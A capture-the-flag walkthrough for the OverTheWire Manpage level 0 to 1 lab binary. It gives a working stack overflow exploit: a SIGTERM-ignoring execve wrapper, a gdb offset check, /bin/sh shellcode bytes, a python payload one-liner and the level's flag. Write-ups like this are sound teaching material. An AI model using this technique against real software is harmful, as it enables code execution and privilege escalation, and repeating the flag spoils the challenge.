OverTheWire Manpage Level 0 → 1 tutorial!!
Login
Use the manpage0 account from the previous level.
ssh manpage0@manpage.labs.overthewire.org -p 2224
# password: manpage0
Goal
Overflow the buffer to gain control of EIP and execute shellcode, but the challenge raises SIGTERM
on long input. We must ignore SIGTERM
so the program doesn’t terminate before our payload runs.
Given program
#include <stdio.h>
#include <string.h>
#include <signal.h>
int main(int argc, char *argv[])
{
char buf[256];
if(!argv[1]) return 0;
strcpy(buf, argv[1]);
if(strlen(buf) >= sizeof(buf) - 1) // no obos :)
raise(SIGTERM);
return 0;
}
The input is copied into a fixed 256-byte stack buffer using strcpy
(unsafe), then the program calls raise(SIGTERM)
if the length is long. We’ll make the target ignore SIGTERM
so execution continues into our shellcode.
Approach
- Launch the target via a wrapper that sets
signal(SIGTERM, SIG_IGN)
beforeexecve()
. Signals set toSIG_IGN
stay ignored acrossexec
. - Craft a payload:
NOP sled
+/bin/sh
shellcode + padding + RET → sled. - Use
gdb
to confirm the offset (260) and choose a reliable return address inside the sled.
Wrapper (disable SIGTERM, then execve target)
// pwn.c
#include <unistd.h>
#include <signal.h>
#include <string.h>
int main(int argc, char* argv[]){
char* arg[]={
"/manpage/manpage1",
argc > 1 ? argv[1] : NULL,
NULL
};
char* envp[]={ NULL };
signal(SIGTERM, SIG_IGN); // keep ignored across exec
execve("/manpage/manpage1", arg, envp);
return 0; // if execve fails
}
Compile (writeable dirs like /tmp
are safest):
cc -m32 -fno-stack-protector -z execstack -o pwn pwn.c
Notes:
-m32
if toolchain supports 32-bit; stack protections disabled for lab reproducibility. If not available, omit and proceed—OTW binaries are usually compiled without protections suitable for the exercise.
Finding the offset & buffer address
gdb -q /manpage/manpage1 <<'GDB'
set disassembly-flavor intel
break *main
run AAAA
print/x &buf
quit
GDB
- Offset to EIP is 260 bytes.
- Use
&buf
you just printed and chooseRET = &buf + 120
(lands in the middle of the 100-byte sled + shellcode). Adjust ±16 if needed.
Payload layout
\x90
× 100 (NOP sled)/bin/sh
shellcode (classic 32-bit Linux):\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
A
× 132 (padding up to EIP at offset 260)- little-endian RET to sled (e.g.,
\x48\xdc\xff\xff
for0xffffdc48
) — adjust for your run.
Exploit
./pwn $(python3 -c 'import sys,struct;
payload = b"\x90"*100
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
payload += b"\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload += b"A"*132
payload += struct.pack("<I", 0xffffdc48) # example: &buf+120; replace with your value
sys.stdout.buffer.write(payload)')
This yields a shell and the flag febiukovie
.
Why this works
signal(SIGTERM, SIG_IGN)
remains in effect acrossexecve
, so the target ignoresraise(SIGTERM)
and continues running.- With
strcpy
into a 256-byte buffer and total input >260 bytes, we overwrite EIP. - Jumping into the NOP sled transfers control to our
/bin/sh
shellcode.
Troubleshooting
Segmentation fault
immediately: your RET likely misses the sled. Adjust by ±16–32 bytes relative to&buf+120
.illegal option -m32
/ cannot find 32-bit libs: drop-m32
; exploit layout remains the same on this box.python: command not found
: usepython3
.
Congrats 🎉 You’re now through Level 0 → 1 — time to RTFM even harder for Level 1 → 2!
Thanks for reading!
See you in the next level — Otsumachi!! 💖☄️✨